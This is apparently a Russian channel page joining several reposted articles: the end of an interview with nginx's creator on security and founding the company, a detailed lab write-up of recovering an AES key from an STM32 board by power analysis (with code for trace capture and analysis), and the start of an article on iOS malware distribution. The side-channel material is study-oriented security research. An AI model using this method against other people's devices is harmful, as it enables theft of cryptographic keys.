— Уязвимости были разные, но проблем с тем, чтобы с их помощью получить удаленный доступ, код выполнить, — такого не было. Можно было ронять рабочие процессы, но вот именно исполнить код — таких уязвимостей не было. Смотрите, обычно эксплоит рассчитан на что? Мы чего-то записали в сервер, ему это дело упало на стек. Сервер работает, делает возврат и попадает на этот код.

Соответственно, чтобы эксплоит заработал, надо знать, где стек будет у этого процесса. Как правило, когда есть какой-нибудь пакет Debian/Ubuntu, есть бинарник, можно воспроизвести у себя аварийную ситуацию, попытаться найти, где находится этот стек, и таким образом сделать эксплоит. Как стали с этим бороться? Стали рандомизировать адресное пространство — в современной винде, например, это так работает.

— ASLR?

— Да, верно. Это рандомизация. У нас стек был тут, а теперь стал вот тут. И, соответственно, мы не можем предугадать, то есть мы взяли пакет, а понять, где у него теперь стек, не получится. У Nginx в этом плане проще, потому что на стеке данных, которые читаются от клиентов, практически нет. Можно пересчитать по пальцам несколько случаев, где это используется, но в этих местах код довольно надежен. Данные, получаемые от клиентов, Nginx размещает «в куче», выделяя память при помощи malloc.

Соответственно, если туда записать где-то чуть побольше, то мы не попадем на указатель стека. Вот эта рандомизация в Nginx присутствовала с самого начала. В общем, написать рабочий эксплоит если и можно, то очень сложно. Кроме того, процессы, которые занимаются обработкой запросов, не работают от «рута».

Security-advisory были, их можно посмотреть на сайте. Я считаю, что на все эти сообщения об ошибках нужно реагировать адекватно, спокойно и профессионально. Например, скрывать факт бага, когда все уже опубликовано, говорить типа «Что? Ничего не было, все хорошо» — это просто-напросто подрывает доверие к проекту.

— Сколько человек занималось раньше и занимается сейчас разработкой, развитием проекта?

— Долгое время занимался я один, практически весь код я написал в одиночку. Года четыре назад мне стал все больше помогать Максим Дунин. Кроме нас двоих еще по мере развития продукта люди присылали патчи. Причем часто присылают просто письма с текстовым описанием проблем или пожелания. Мне говорят: «Есть ошибка, решить можно ее вот так». Просто словами. Мы это делаем по мере сил.

Еще у нас сейчас есть отдельный человек — Руслан Ермилов, который сейчас занимается документацией. Он выполняет несколько задач: это перевод текущей русской документации на английский язык, актуализация сведений и адаптация документации, чтобы она была понятна и однозначна для людей, впервые ее читающих. Частая проблема, когда автор пишет документацию, у него в голове есть определенный контекст, и он отталкивается от него. Думает, что вот это само собой разумеется, а в итоге упускает много деталей. С этим мы как раз активно боремся: Руслан смотрит на Nginx «со стороны», свежим взглядом, поэтому способен писать так, чтобы всем все было понятно. Кроме того, у Руслана огромный опыт участия в разработке и документировании сложных программных проектов.

— Предлагаю перейти к вопросам, связанным с компанией Nginx и с тем, как вы вообще пришли к созданию бизнеса.

Сейчас все расскажу. Итак, наверное, году в 2008-м пришло мне первое письмо от инвестора, я уже не помню даже, кто это был. В общем, за последние два года таких писем было около десятка. Люди хотели что-то сделать с Nginx, сделать компанию. Но я отказывался, поскольку я в целом не особо бизнесмен. Но в конце концов я стал понимать, что что-то делать нужно, иначе я просто не смогу дальше в одиночку развивать проект, уже не хватало сил на все.

Довольно много времени ушло на то, чтобы осмыслить, как и с кем я хотел бы сделать компанию «вокруг» Nginx. Вообще, я очень редко меняю направление жизни: например, до Рамблера я семь лет работал в одной компании, в Рамблере я тоже проработал десять лет. Перемены для меня тяжелы. Но тем не менее к весне этого года я все-таки окончательно решил основать компанию, которая бы помогла дальнейшему развитию проекта. Отчасти на этот шаг меня вдохновил Сергей Белоусов, создатель Parallels и фонда Runa Capital. Мы с ним несколько раз неформально общались, и в итоге я постепенно стал значительно ближе к идее создать компанию.

— Сергей умеет убеждать, да?

— Сергей вообще очень интересный человек, с ним всегда увлекательно обсуждать дела и не только, он очень энергичный человек. Сергей также довольно властный руководитель — я думаю, он влияет на очень многие решения в своих компаниях, это владелец, который любит контролировать происходящее, непосредственно участвовать в бизнесе.

Вообще, процесс переговоров с инвесторами, подписание условий сделки, куча всего — это вещь тяжелая, потому что, во-первых, очень много скучных деталей, огромное количество бумаги на английском языке, юридической, ее на русском-то языке читать тяжело, а по-английски — тем более. Обговаривание всего, опять же согласование всех вещей: мы хотим то-то, они хотят то-то. Психологически это тяжело. Зато потом, если инвесторы понимают твой бизнес, все становится значительно легче.

— Интересно: вы работали в Рамблере и трудились над Nginx. У Рамблера не было никаких прав? Это такой тонкий вопрос. Как удалось сохранить права на проект?

— Да, это довольно тонкий вопрос. Он, конечно, интересует не только вас, и мы довольно основательно его проработали. В России законодательство устроено так, что компании принадлежит то, что сделано в рамках трудовых обязанностей либо по отдельному договору. То есть должен быть договор с человеком, где было бы сказано: нужно разработать программный продукт. В Рамблере я работал системным администратором, разработкой занимался в свободное время, продукт с самого начала выпускался под лицензией BSD, как открытое программное обеспечение. В Рамблере Nginx начал применяться уже тогда, когда основной функционал был готов. Более того, даже первое применение Nginx было не в Рамблере, а на сайтах Rate.ee и zvuki.ru.

— Кто еще у вас работает в компании Nginx?

— Еще у нас работает Сергей Будневич — системный администратор, он занимается поддержкой инфраструктуры компании. Инфраструктура у нас не очень большая, но она есть. У нас есть списки рассылки, у нас есть почтовый сервер, автоматическая сборка, тестирование пекеджей, трекинг ошибок и др. Сергей нам с этим очень помогает. Мы сейчас собираемся готовить пакеты еще для нескольких Linux-дистрибутивов: CentOS, Ubuntu. Сергей занят автоматизацией разнообразных процессов, связанных с разработкой, тестированием и сопровождением. Есть еще два человека: один человек занимается маркетингом — Андрей Алексеев, а Максим Коновалов — вообще начальник всего, он делает так, что компания работает.

— А как официально называется ваша должность в компании?

— Формально я — технический директор. Я не умею руководить людьми, я больше фокусируюсь на архитектуре будущих продуктов и передаче разработки «в команду». Довольно тяжело делегировать работу, однако компания создавалась как раз с целью улучшить разработку и продукт, поэтому сейчас я пытаюсь себя этому научить. Коллеги занимаются организационными вопросами, общением с клиентами, маркетингом, отношениями с партнерами, документацией, наймом персонала и др. Разных сложностей у нас много, научиться общаться на разных уровнях — это бывает не так легко. На самом деле мы все участвуем во всех делах компании, поскольку компания не такая большая, а дел много.

— Делегировать было сложно, потому что казалось, что все плохо делают, проще самому?

— Ну да, подход такой, что я лучше это сам сделаю, потому что это будет лучше, или потому что долго объяснять, что нужно делать, или психологически тяжело сказать: «Сделай вот это». Лично мне делегировать полномочия было тяжело по ряду причин. Сейчас, как технический директор, я в основном отвечаю за архитектуру и качество разработки.

— Игорь, большое вам спасибо за интервью! Видно, что вы все-таки научились делегировать: со всеми нашими бизнес-вопросами вы нас отправили к Максиму Коновалову.

— Кстати, это первое интервью, которое я даю. Согласился только из-за того, что создали компанию. Буквально весной меня попросили люди из другого ИТ-издания, я сказал им: «Извините, я не люблю, не хочу и не умею».

— Еще раз спасибо! Максим, в переговорах с инвесторами вы представляли какой-то формализованный бизнес-план? На чем вы вообще планируете зарабатывать деньги?

— В основном фонды инвестировали в Nginx как в очень перспективный продукт. Детальный бизнес-план, конечно, был важен, но американские инвесторы подходят к вопросу инвестиций, базируясь не только и не столько на бизнес-плане, где будет написано, что мы заработаем за год столько-то с точностью до десятков центов. Важно было то, что Nginx сейчас очень популярен, это уже готовый, существующий продукт.

По поводу того, что у нас за идеи для зарабатывания денег: мы хотим прежде всего добиться правильного баланса между бесплатным и платным функционалом. Мы хотим сделать то, что не совсем удалось в прошлом целому ряду компаний. Есть несколько примеров бизнеса на базе разработок open source, где компании не смогли удержать нужный баланс, пришлось закрывать какие-то фичи в самом продукте, просить за них какие-то нелепые деньги, это всех расстроило, и продукты перестали развиваться.

— То есть вы хотите сделать отдельный коммерческий продукт и найти баланс между открытым продуктом и коммерческим?

Мы не хотим делать отдельный коммерческий продукт, мы хотим делать коммерческие надстройки над основным продуктом open source. Он будет развиваться, будут появляться фичи, которые требуются сообществу. Деньги, которые мы получили, помогут нам поставить все производство продукта на новый уровень. Сейчас Игорь уже не в одиночку работает над кодом, строится командная разработка. Мы принимаем на работу людей в России, инженерная команда в Москве останется.

Соответственно, фокус на продукте open source — он очень сильный и будет оставаться таким.

В то же время мы знаем, что есть клиенты, большие компании, средние компании, даже маленькие компании, которые долгое время используют Nginx. Они построили на этом бизнес и благодарны нам. Когда мы встречаемся, то слышим что-то вроде: «Отличный, замечательный продукт — спасибо вам большое! Но нам не хватает того-то и того-то. Можете ли вы это сделать — мы вам готовы платить?» Из таких разговоров у нас постепенно складывается цепочка того, что мы могли бы продавать, не огорчая при этом сторонников продукта free open source и не подрывая доверия к проекту в целом. То есть мы собираем подобные запросы и сравниваем их с пожеланиями, которые поступают от сообщества пользователей. Мы смотрим, где есть пересечения и, если понимаем, что какой-то функционал на самом деле необходим всем, а не какой-то отдельной компании, мы это реализуем в бесплатной версии продукта.

Есть даже компании, которые говорят: «Давайте мы вам заплатим за все эти фичи, чтобы они быстрее появились в продукте. Мы хотим, чтобы все попало в open source, мы не хотим, чтобы фича была эксклюзивная и/или платная». Это называется sponsored development.

Пока у нас сформировались идеи, что коммерческие надстройки будут больше относиться к крупным примерам применения Nginx: например, с помощью коммерческих надстроек будет легче управлять тысячами инстансов, будет расширенный мониторинг производительности, дополнительный функционал, рассчитанный на хостинговые, облачные и CDN-инфраструктуры.

— То есть у вас фокус именно на продукте. Не будете отдельно продавать услуги, например, по внедрению, консалтингу?

— Дело в том, что компания маленькая, она будет оставаться маленькой — расти до компании в несколько сотен человек мы не хотим. Мы активно работаем с партнерами, с системными интеграторами, с вендорами софта и железа, активно ищем каналы для работы через партнеров. Консультации будут осуществляться частично через партнеров, частично через нас. К сожалению, услуги консалтинга и технической поддержки всем пользователям мы сами, непосредственно, предоставлять не сможем.

— А что ждет обычных пользователей в ближайшее время, планируете какие-то новые фичи?

— Из истории изменений в коде за последние три месяца, из списка релизов, которые мы выпустили, видно, что с момента образования компании мы серьезно активизировали процесс разработки и внесения исправлений. Мы интегрировали достаточно много и доработок, и новых опций. Добавили, к примеру, стриминг MP4, о котором Игоря спрашивали несколько лет. Работа идет, функционал развивается.

— Я правильно понимаю, что Игорь Сысоев — главный акционер компании, а остальная, меньшая доля принадлежит инвесторам?

— Да, Игорь — основной акционер, всего же учредителей компании трое, и есть, естественно, инвесторы как владельцы, группа инвесторов — они совместно владеют какой-то частью. Кстати, сам процесс получения денег от инвесторов технически выглядит очень просто — выпускаются ценные бумаги по соответствующему законодательству, инвесторы их покупают за какую-то сумму. Сумма переходит к вам, вы ее используете на развитие компании. Именно так все у нас и устроено.

ПОДПИСАТЬСЯ - Бюро121

Аппаратный CTF. Легкий способ узнать ключ шифрования, когда у тебя под рукой осциллограф и ноутбук

2020-02-18T11:57:11.229Z

Источник: t.me/Bureau121

Содержание статьи

Современное железо
Суть атаки
Подготовка платы
Пишем прошивку
Зачем осциллографу Ethernet
Собираем все вместе
Предобработка
Кто такая Julia
Подводим итоги
Дополнительные материалы
Постскриптум

Современное железо

В первую очередь было решено выбрать в качестве цели более актуальное железо. Arduino и AVR — это прекрасно, это наше наследие, и к нему нужно относиться с подобающим уважением, а не ломать направо и налево. Но сегодня бал правят микроконтроллеры на ядре ARM (Cortex-M). И вероятнее всего, именно их ты обнаружишь, распотрошив ближайшее умное устройство — беспроводную розетку, лампочку с Wi-Fi и прочие прелести сомнительной автоматизации.

На первый взгляд, бюджетный микроконтроллер STM32F091 (Cortex-M0) на плате Nucleo-64 идеально подходил на роль подопытного кролика. По сравнению с Arduino Nano это решение выглядит выигрышно буквально по всем параметрам: разрядность 32 бит (против восьми), тактовая частота 48 МГц (против шестнадцати) и напряжение питания всего 3,3 В против пяти. Что касается цены, нужно учесть, что оригинальные итальянские платы Arduino стоят как минимум столько же, если не дороже.

Такой выбор на самом деле осложняет атаку — не всякий бюджетный осциллограф сможет угнаться за микроконтроллером на подобных скоростях. Использование Hantek DSO6022 из презентации было бы заранее обречено на провал, достаточно только взглянуть на его характеристики.

К счастью, у меня на столе стоял осциллограф RTC1002 компании Rohde & Schwarz. Если верить рекламным материалам, это модель начального уровня, но это обманчивое впечатление. Да, такой осциллограф стоит как флагманский смартфон, но у него масса полезных функций, и он максимально удобен.

Суть атаки

Остальные условия изначального конкурса я решил не менять. Мы по-прежнему будем анализировать трассы энергопотребления нашего устройства в момент шифрования данных и пытаться угадать хранящийся в памяти пароль. Шифр — AES в режиме ECB с длиной ключа в 128 бит.

Конечно, на практике в реальном устройстве ты, скорее всего, обнаружишь AES в режиме CBC, но я так и не придумал, как органично вписать вектор инициализации в условия задачи. Сам по себе IV без ключа шифрования не представляет особой ценности для злоумышленника и нередко передается в открытом виде (примером тому могут служить протоколы SSL/TLS, смотри RFC 5246).

Сам по себе алгоритм AES считается одним из лучших, используется практически повсеместно, и на сегодняшний день для него не известно ни одной реальной уязвимости. Что же может пойти не так и есть ли у нас вообще шансы на успех?

Все дело в том, что операции любого процессора на самом низком уровне сводятся к переключению транзисторов. На это расходуется энергия, потребление которой можно фиксировать. Зная алгоритм шифрования, входные данные и замеряя параметры питания, мы можем попытаться угадать двоичное представление ключа (количество транзисторов в активном состоянии). И это будет однозначно гораздо лучше, чем простой перебор! (Да что угодно лучше, чем простой перебор, если уж откровенно.)

Конечно, на практике все окажется не так легко: в любой современной схеме транзисторов неприлично много, существуют нелинейные процессы, внешние наводки почти всегда неизбежны, а сама попытка провести измерения неизбежно вносит свой негативный вклад в точность полученных данных.

К счастью, на нашей стороне будет статистика — если удастся собрать достаточное количество информации, полезный сигнал будет преобладать над шумами и мы сможем узнать ключ. В нашем случае речь идет о пяти тысячах осциллограмм, каждая по тридцать тысяч точек. Я бы назвал это «большими данными», но специалисты, вероятно, будут смеяться, поэтому обойдемся без громких заявлений.

Таким образом, принцип атаки следующий: мы посылаем с компьютера на вход исследуемого устройства случайный набор чисел, устройство их шифрует и отправляет обратно, а осциллограф внимательно следит за расходом электроэнергии (счетчикам ЖКХ такая точность и не снилась). После этого по команде с компьютера мы сохраняем осциллограмму и набор данных (вход и выход) и повторяем процесс.

В теории все выглядит соблазнительно просто, не так ли? Сколько раз я так ошибался.

Подготовка платы

Начнем с отладочной платы: ее предстоит немножко испортить, но тут уж ничего не поделаешь. В первую очередь удалим с текстолита все лишнее, что может как-то потреблять или накапливать энергию, — нам нужен максимально чистый сигнал с самого микроконтроллера, а не с конденсаторов из его обвязки.

Отламываем программатор ST-Link — широкие прорези в самой плате намекают на то, что он прекрасно будет работать и отдельно от основной части. Если опасаешься повредить плату и выдрать целый кусок, попробуй сперва подпилить соединения обычной ножовкой, сразу должно быть проще.

Теперь наступил черед конденсаторов в цепи питания. Микроконтроллер требует 3,3 В, но это совместимая с Arduino плата, и она рассчитана на внешний источник питания 5 В, за это отвечает линейный DC/DC-преобразователь LD39050PU33R. То, что он линейный, — это хорошо, от импульсного были бы лишние помехи.

Конденсаторы С20 и С21 на входе можно оставить, а вот С18 и С19 явно лишние, смело бери паяльник в руки и выпаивай. Да их тут и не было! Также совершенно необязательны конденсаторы С23, С24, С27 и C28. У них какие-то смешные емкости — 100 нФ — можно даже не обращать внимания. Понравилось? Все, стой, остальные пусть живут!

Теперь о грустном. Мы перед этим отломали программатор, но он нам все еще нужен. Ты ведь его не выбросил, верно? Это было очень предусмотрительно! И дело не в том, что программатор нам понадобится для того, чтобы прошить микроконтроллер. Нет, это, оказывается, еще и переходник с USB — UART, и с его помощью мы будем общаться с компьютером.

Проблема в том, что дорожки RX/TX интерфейса UART располагались как раз на перемычках, которые мы до этого перерезали. На программаторе эти сигналы доступны на разъеме CN3, но на самой плате с F091 контакты D0/D1 разъема CN9 не подсоединены к микроконтроллеру. За это отвечают перемычки SB62 и SB63 на обратной стороне платы, так что соедини их парой капель припоя.

Кстати, ты обратил внимание, что на плате отсутствует кварцевый резонатор на месте X3? Есть «часовой» кварц на 32,768 кГц на месте X2, но он предназначен для RTC. Оказывается, ST-Link, кроме того что выполняет свои основные функции, еще и генерирует опорную частоту в 8 МГц для основного микроконтроллера! Это линия МСО на схеме (вывод PF0).

В отличие от интерфейса UART, этот сигнал не выведен ни на какие контакты, и без него F091 работать точно откажется. Мне не пришло в голову ничего лучше, чем купить в ближайшем магазине радиодеталей кварцевый генератор на 8 МГц. Его следует подключить к линии 5 В. При этом меандр будет с амплитудой 5 В вместо положенных 3,3 В, но это не страшно, так как вывод PF0 обозначен в даташите на микроконтроллер как FT, то есть совместимый с пятивольтовой логикой.

Остается только отпаять перемычку SB50 и запаять SB55, чтобы вывести ножку PF0 на 29-й контакт разъема CN7. Вполне вероятно, сейчас тебя занимает только одна мысль: зачем разработчики в ST придумали такую сложную схему? Оказывается, на такой печатной плате основана вся модельная линейка отладок Nucleo-64, а это почти двадцать разных версий. Конкретная версия отличается сочетанием всех этих крошечных перемычек.

Пишем прошивку

Теперь нужна программная реализация алгоритма AES. Сотрудники Riscure после проведения конкурса RHme2 выложили исходники примеров на своем GitHub. Но воспользоваться ими не получится по той простой причине, что они платформенно зависимые. Таблицы подстановок шифра AES с помощью макросов pgm_read_byte программируются во флеш, который разворачивается в цепочку инструкций ассемблера для AVR.

Понятно, что для F091 на ARM такой код запустить не удастся. Поэтому я выбрал стороннюю реализацию AES в режиме ECB, дописав недостающие куски самостоятельно. В целом это была самая простая часть, логика программы полностью повторяет принцип работы оригинального примера из RHme2. Заранее сгенерированный случайным образом ключ AES будет храниться в самом устройстве:

/* Key is: 0x47f1ed9166c996b2f553b147be3fbc20 (128-bit) */
const uint8_t key[] = {0x47, 0xF1, 0xED, 0x91, 0x66, 0xC9, 0x96,
    0xB2, 0xF5, 0x53, 0xB1, 0x47, 0xBE, 0x3F, 0xBC, 0x20};

Зачем осциллографу Ethernet

Протестировав работоспособность платы и прошивки в «Мониторе порта» из Arduino IDE, я вручную поймал пару осциллограмм в момент шифрования сообщений. Первые трассы выглядели как-то так.

Угадать здесь десять раундов AES можно разве что при очень большом желании. Соотношение шумов и полезного сигнала на осциллограмме оставляло желать лучшего. Увеличив частоту дискретизации и поиграв с настройками фильтров на приборе, я смог получить уже более приличные кадры.

Хорошо заметны одинаковые скачки энергопотребления при переходе от одного раунда к другому — такой паттерн трудно с чем-то спутать, и угадать длину ключа тут можно чисто визуально (по количеству повторений сигнала).

Теперь нужно было как-то автоматизировать сбор и сохранение осциллограмм. Rohde & Schwarz на своем сайте предлагает использовать утилиту HMExplorer, но при беглом ознакомлении с документацией я пришел к неутешительному выводу, что ее возможностей мне недостаточно.

Одно дело — просто удаленно управлять прибором с компьютера по интерфейсу GPIB или Ethernet с помощью набора инструкций SCPI. Но мне предстояло еще одновременно забирать энтропию с /dev/urandom и направлять ее в микроконтроллер по последовательному порту. Проще было написать реализацию самостоятельно.

Чуть выше я упомянул набор SCPI — это стандартизированный способ взаимодействия с инструментами самых разных производителей. Краткую справку по командам я нашел в конце документации на сам осциллограф RTC1002, но дополнительно у R&S есть исчерпывающее руководство SCPI Programming Manual.

По сути, во всем большом наборе у нас есть три вида инструкций. Общие команды поддерживают все совместимые по стандарту устройства. Они позволяют узнать, с каким конкретно прибором мы сейчас работаем.

/*  CMD: *IDN?
 *  ANS: ROHDE&SCHWARZ,RTC1002,XXXXXXXXX,YYY.ZZZ
 */

Следующими идут базовые команды, они определяют состояние и работу инструмента. Для них есть полная форма (все символы в сообщении) и сокращенная форма (только символы в верхнем регистре).

/*  CMD: RUNContinous (RUNC)
 *  ANS: None
 */

Наконец, у нас есть команды для конкретных настроек прибора. Они составляют большую часть набора SCPI и для удобства вложены в различные пространства имен. Можно задать частоту дискретизации, вертикальное и горизонтальное отклонение, задержку срабатывания триггера и много чего еще. В общем, тут удаленно доступен буквально любой пункт меню. Более того, можно посылать по сети собственные сообщения и отображать их на экране.

/*  CMD: DISPlay:DIALog::MESSage (DISP:DIAL:MESS)
 *  ANS: None
 *
 *  CMD: CHANnel1:DATA:HEADer? (CHAN1:DATA:HEAD?)
 *  ANS: -9.477E-008,9.477E-008,30000,1
 */

Таким образом, подключив осциллограф к одной сети с ноутбуком и настроив IP-адреса, можно работать с прибором через сокеты из любой программы на С:

#include <stdio.h>
#include <stdlib.h> 
#include <string.h>

#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

#define PORT        (5025) 
#define HOST        ("192.168.10.11")
#define SCPI_BUFFER (512)

int scpi_init(char* ip, int port) {
  int sd = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in server = {.sin_family = AF_INET,
                               .sin_port = htons(port)};

  inet_pton(AF_INET, ip, &server.sin_addr);
  connect(sd, (struct sockaddr *) &server, sizeof(server));

  return sd;
}

int scpi_cmd_write(int sd, char* cmd) {
  return write(sd, cmd, strlen(cmd));
}

int scpi_cmd_read(int sd, char* cmd, char* b) {
  if (scpi_cmd_write(sd, cmd) != strlen(cmd)) {
    return -1;
  }

  return read(sd, b, SCPI_BUFFER);
}

Собираем все вместе

Для завершения подготовительного этапа осталось реализовать ровно две вещи: работу с последовательным портом и получение случайных чисел с источника энтропии в системе. В целом ничего сложного, но есть пара нюансов:

int uart_open(char* path) {
  int fd = open(path, O_RDWR | O_ASYNC);
  struct termios attr;

  /* Set parameters for UART communication */
  tcgetattr(fd, &attr);
  cfsetospeed(&attr, B115200);
  cfsetispeed(&attr, B115200);  
  attr.c_cflag &= ~(PARENB | CSTOPB | CSIZE);
  attr.c_cflag |= CS8 | CLOCAL;
  attr.c_lflag = ICANON;
  attr.c_oflag &= ~OPOST;

  tcsetattr(fd, TCSANOW, &attr);
  tcflush(fd, TCIOFLUSH);

  return fd;
}

int uart_recv(int fd, char *b, int len) {
  int i = 0;

  for (char c = 0; i < len && c != '\n'; ++i) {
    read(fd, &c, 1);
    b[i] = c;
  }

  return i;
 }

int uart_send(int fd, char *b, int len) {
  return write(fd, b, len);;
}

int uart_close(int fd) {
  return close(fd);
}

Что касается случайных чисел, то на самом деле их можно было генерировать непосредственно на микроконтроллере. И даже отдельный аппаратный TRNG тут совершенно необязателен. Если стоит задача получить энтропию из разряда «дешево и сердито», можно обойтись и шумами в АЦП, недавно я писал в «Хакер» статью об этом.

char vLUT(char n) {
  return n >= 10 ? n + 'A' - 10 : n + '0';
}

void get_rand(char* buffer, int n) {
  int rd = open("/dev/urandom", O_RDONLY);

  read(rd, buffer, n);
  close(rd);

  for(int i = 0; i < n; ++i) {
    buffer[i] &= 0x0F;
    buffer[i] = vLUT(buffer[i]); 
  }
}

Теперь остается только собрать все это в единый файл main.c, и можно запускать процесс. Хороший момент попить чайку и подумать о том, что делать дальше.

Предобработка

Через некоторое время у меня на ноутбуке уже было пять тысяч осциллограмм в формате CSV и бинарный файл с отладочной платы. Однако перед анализом трасс в статистическом пакете Jlsca данные предстояло конвертировать в формат TRS.

Вообще говоря, предварительно еще следовало убедиться, что общие паттерны на осциллограмме (пики и впадины) соответствуют раундам алгоритма AES и сами трассы синхронизированы. Другими словами, нужно быть уверенным, что мы сравниваем внутреннее состояние микроконтроллера в одинаковые моменты времени, иначе вся остальная работа теряет всякий смысл.

Подобная рассинхронизация вполне может возникнуть из-за фазового дрожания сигнала (джиттер) на канале с триггером, и тут все зависит от характеристик твоего осциллографа, насколько быстро он сможет среагировать и начать захват данных по основному каналу.

К счастью, я мог визуально наблюдать осциллограммы на экране прибора во время сбора трасс питания и через какое-то время пришел к выводу, что этот шаг вполне можно пропустить. Однако в оригинальной презентации инструктору Riscure все же пришлось выравнивать трассы, преимущественно из-за бюджетности модели Hantek.

Вернемся к осциллограммам. Конечно, экспоненциальное представление чисел в столбцах файлов CSV тоже можно было распарсить и сконвертировать средствами языка С. Однако я не смог найти у Riscure описания формата TRS, зато нашелся модуль для Python.

Напишем пару скриптов:

# Remove all timestamps from files
TOTAL = 5000

for i in range(TOTAL):  
  source = open('TRC/TRC{:04}.csv'.format(i), 'r')
  target = open('traces/traces{:04}.txt'.format(i), 'w')

  source.readline() # skip header
  for line in source.readlines():
    time, volt = line.split(',')
    target.write(volt)

  source.close()
  target.close()

Теперь сольем все файлы вместе:

# Create resulting .trs file
import numpy as npy
import trsfile as trs

TOTAL = 5000

target = trs.trs_open('result.trs', 'w', padding_mode = trs.TracePadding.AUTO)

bytes = open('data.bin', 'rb')

for i in range(TOTAL):
  source = npy.genfromtxt('traces/traces{:04}.txt'.format(i), dtype = float)
  target.append(trs.Trace(trs.SampleCoding.FLOAT, source, data = bytes.read(32)))

bytes.close()
target.close()

В модуле numpy уже содержится готовый метод для чтения последовательностей из текстовых файлов, поэтому весь код простой до безобразия. На выходе должен получиться внушительный файл со всеми трассами и парами «открытый текст — шифртекст».

Кстати, если будешь повторять это все в macOS, обрати внимание, что модуль trsfile использует mmap для работы с файлами .trs, а операционка Apple не поддерживает изменение размера уже размещенного в памяти файла. Так что скрипт будет постоянно выдавать ошибку. Самый простой вариант — перейти в Linux и собрать файл там, что я и сделал с помощью Ubuntu в виртуалке.

Кто такая Julia

Анализировать полученные данные предстоит с помощью пакета Jlsca. Это еще одна открытая разработка компании Riscure (ты можешь свободно скачать ее на GitHub). Утилита написана на молодом языке Julia, что в теории обещает хорошую производительность при сложных вычислениях и научных расчетах.

Аргументы при запуске передаются программе несколько необычным образом — через имя файла. Нужно указать алгоритм, режим шифрования и (опционально) правильный ключ. В моем случае название получилось таким: aes128_sb_ciph_47f1ed9166c996b2f553b147be3fbc20.

Кроме того, раз мы вычисляем вес Хэмминга для наших данных, нужно добавить соответствующую строчку в файл main-condavg.jl.

params.analysis.leakages = [HW()]

Скрестить ли пальцы на удачу? Вот еще, какие глупости.

$ julia examples/main-condavg.jl aestraces/aes128_sb_ciph_47f1ed9166c996b2f553b147be3fbc20.trs

Скажу честно, сразу получить правильный результат мне не удалось. Свою первую попытку я испортил тем, что невнимательно прочитал принципиальную схему платы и не удалил все нужные конденсаторы в цепи питания. Мало того, я забыл добавить к трассам наборы «открытый текст — шифртекст». Как итог, программа и близко не смогла угадать ни одного правильного байта в ключе.

Второй подход оказался удачнее, но, видимо, мне не хватило размера выборки. Я собрал тысячу осциллограмм с устройства в момент шифрования, и результаты были гораздо лучше — коэффициенты для нужных байтов попали в топ-10, и это обнадеживало. Однако соотношение шумов и полезного сигнала все еще было далеко от идеала.

Успешной оказалась лишь третья попытка, но, наверное, и это неплохой результат! Пришлось увеличить массив данных в пять раз, а также пересмотреть схему питания, добавив внешний регулятор напряжения на 3,3 В. Не знаю, сыграло это свою роль или нет, но в качестве источника электроэнергии я выбрал не внешний аккумулятор с Li-Pol и импульсным DC/DC-преобразователем, а обычную батарейку на 9 В.

Подводим итоги

Если попытаться описать мои впечатления от проделанной работы одним словом, то, наверное, лучше всего подойдет слово «смешанные». С одной стороны, это было безумно интересно, по ходу дела пришлось решить несколько нетривиальных проблем, разобраться в новых для себя вещах, и в целом о потраченном времени я нисколько не жалею.

Более того, стоит признать, что подобные атаки действительно следует рассматривать в числе угроз для безопасности устройства и конфиденциальности пользовательских данных. Конечно, вытащить ключ шифрования с современного микроконтроллера на ядре ARM оказалось не так просто, как в случае с его предком на AVR, да и оборудование для атаки пришлось использовать более дорогое. Но принципиальных отличий, как видишь, оказалось немного.

С другой стороны, исследователь из Riscure в своем выступлении заявлял, что сегодня атаки по второстепенным каналам уже могут совершать чуть ли не скрипт-кидди. Не знаю, возможно, он имел в виду изначальный конкурс RHme2, или у них в Европе какие-то другие скрипт-кидди, уровнем существенно выше наших. В любом случае лично у меня общая подготовка к атаке и перенос примера на актуальное железо заняли немало времени.

Дополнительные материалы

Разобрав в деталях существующую угрозу, нельзя не сказать пару слов о способах защиты от нее. Тут я вряд ли придумаю что-то новое, но могу порекомендовать несколько хороших источников, где ты точно найдешь полезную информацию. В первую очередь это сборник рекомендаций компании Riscure для разработчиков и специалистов по безопасности Secure Application Programming. Кроме того, заслуживает изучения и материал «Атаки на встраиваемые системы» компании BI.Zone. АВК по энергопотреблению и АМИС по питанию там разобраны достаточно подробно.

Постскриптум

Лично для меня вопрос с подобного рода угрозами еще не закрыт. Во-первых, хотелось бы найти подходящее устройство и провести эксперимент в условиях, максимально приближенных к реальности. Во-вторых, кому нужна программная реализация шифрования, если сегодня во встраиваемых системах вообще и микроконтроллерах в частности появляются аппаратные ускорители криптографических вычислений?

Уязвимы ли они перед такими атаками и насколько это вообще реально с бюджетным оборудованием — подобный момент заслуживает самого внимательного изучения. Во всяком случае, я намереваюсь вернуться к АВК через некоторое время и, возможно, появлюсь с новым материалом. Если, конечно, ты меня не опередишь.

ПОДПИСАТЬСЯ - Бюро121

Вредонос для iOS. Как распространяются трояны для самой закрытой мобильной платформы

2020-02-16T17:16:00.065Z

Источник: t.me/Bureau121

Содержание статьи

Немного теории
Шпионские игры
Технология MDM
Технология DRM
Выводы

Немного теории

Общеизвестный факт: все приложения в iOS выполняются в так называемой песочнице — изолированной среде, из которой они не могут получить непосредственный доступ к компонентам операционной системы и других программ. Это обеспечивает высокую безопасность ОС: при работе в sandbox приложение взаимодействует только с собственными данными и ресурсами, поэтому вредоносной программе попросту негде будет разгуляться.

Кроме того, Apple разрешает установку приложений на устройства с iOS только из собственного каталога App Store, куда они попадают после тщательной проверки. «Несчастные» владельцы айфонов лишены даже привычной пользователям Android функции «разрешить установку приложений из неизвестных источников» — если нужной программы нет в App Store, ее, скорее всего, не будет и на твоем смартфоне.

С другой стороны, подобные жесткие ограничения лишают владельцев «яблочных» девайсов целого ряда полезных возможностей. Если твой айфон относится к устаревшему модельному ряду и его операционная система уже успела «выйти на пенсию», рано или поздно ты столкнешься с полной невозможностью установить или обновить нужную тебе программу через App Store.

Однажды твое любимое приложение откажется запускаться, сообщив, что разработчики давным-давно выпустили для него новую версию, которую пора поставить вместо текущей. По нажатию на кнопку «Обновить» запустится программа App Store и радостно сообщит, что для установки новой версии интересующей тебя софтины требуется операционная система посвежее. Наконец, отправившись в раздел «Настройки», ты с удивлением обнаружишь, что на твоем устройстве уже стоит самая актуальная версия iOS, а чтобы использовать более современную, придется сбегать в соседнюю лавку за новым айфоном. Круг замкнулся, как любил говорить один бывший джедай.

